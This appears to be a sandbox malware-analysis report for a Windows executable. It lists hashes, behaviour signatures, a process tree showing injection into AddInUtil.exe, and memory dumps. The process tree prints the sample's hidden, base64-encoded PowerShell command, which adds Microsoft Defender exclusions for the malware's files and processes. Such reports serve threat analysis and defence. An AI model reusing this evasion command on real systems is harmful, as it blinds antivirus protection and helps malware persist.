Resubmissions

14/04/2025, 07:51

250414-jp1kfssjz9 10

14/04/2025, 07:46

250414-jl9nyssjt9 10

08/04/2025, 15:58

250408-tevasswl18 10

08/04/2025, 14:19

250408-rm2nqsvqw2 10

Analysis

  • max time kernel
    100s
  • max time network
    102s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250410-en
  • resource tags

    arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14/04/2025, 07:46

General

  • Target

    f6ac1ea5c19284854998f25244a12f25.exe

  • Size

    654KB

  • MD5

    f6ac1ea5c19284854998f25244a12f25

  • SHA1

    99fbd0be6020def40eedb33c453c9e516d39ddb4

  • SHA256

    10478f3361a6cdb5ce48bf9490ea60505e90ef4f9649973ca35bdcf43af1f4b9

  • SHA512

    b2415c9af9284eebc053ef56c82ad15043b713d38c6fca1cabdbeff0d726f9f956bf56655c60f0d6ec95ef5150e50da1a539cbef5502dd032399721a545badda

  • SSDEEP

    12288:slGjIbKjk/x78IANpdqAUJeBrwwsRpIFgVXC0xi8/+b7LegZSv:uGcbKj+d0dzAZVXObfeoG

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f6ac1ea5c19284854998f25244a12f25.exe
    "C:\Users\Admin\AppData\Local\Temp\f6ac1ea5c19284854998f25244a12f25.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2364
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBEAEQALQBtAFAAcAByAEUARgBFAHIARQBuAEMARQAgAC0ARQBYAGMAbAB1AHMAaQBPAG4AcABBAFQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwASQB0AGUAbQAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0AZgBvAFIAYwBlADsAIABBAGQARAAtAE0AcABQAHIAZQBmAEUAUgBlAE4AYwBlACAALQBFAHgAQwBMAHUAcwBJAG8ATgBwAFIAbwBjAEUAUwBTACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwASQB0AGUAbQAuAGUAeABlACAALQBGAG8AUgBDAEUA
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2052
  • C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe
    C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5640
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3236

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkpyhfxm.k3i.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe

    Filesize

    654KB

    MD5

    f6ac1ea5c19284854998f25244a12f25

    SHA1

    99fbd0be6020def40eedb33c453c9e516d39ddb4

    SHA256

    10478f3361a6cdb5ce48bf9490ea60505e90ef4f9649973ca35bdcf43af1f4b9

    SHA512

    b2415c9af9284eebc053ef56c82ad15043b713d38c6fca1cabdbeff0d726f9f956bf56655c60f0d6ec95ef5150e50da1a539cbef5502dd032399721a545badda

  • memory/2052-2789-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2052-2798-0x000001B04B2C0000-0x000001B04B2E2000-memory.dmp

    Filesize

    136KB

  • memory/2052-2799-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2052-2807-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2052-2806-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2052-2802-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2052-2801-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2364-19-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-11-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-63-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-61-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-59-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-57-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-55-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-53-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-45-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-43-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-41-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-39-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-37-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-51-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-33-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-29-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-27-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-0-0x00007FF88F783000-0x00007FF88F785000-memory.dmp

    Filesize

    8KB

  • memory/2364-17-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-15-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-13-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-66-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-9-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-7-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-31-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-25-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-5-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-4-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-2787-0x0000024AC94D0000-0x0000024AC951C000-memory.dmp

    Filesize

    304KB

  • memory/2364-2786-0x0000024AC9470000-0x0000024AC94C6000-memory.dmp

    Filesize

    344KB

  • memory/2364-2788-0x0000024AE1E60000-0x0000024AE1EB4000-memory.dmp

    Filesize

    336KB

  • memory/2364-67-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-2800-0x00007FF88F783000-0x00007FF88F785000-memory.dmp

    Filesize

    8KB

  • memory/2364-47-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-49-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-2803-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2364-35-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-21-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-23-0x0000024AE1C00000-0x0000024AE1D06000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-3-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2364-2-0x0000024AE1C00000-0x0000024AE1D0A000-memory.dmp

    Filesize

    1.0MB

  • memory/2364-2811-0x00007FF88F780000-0x00007FF890242000-memory.dmp

    Filesize

    10.8MB

  • memory/2364-1-0x0000024AC7630000-0x0000024AC76D8000-memory.dmp

    Filesize

    672KB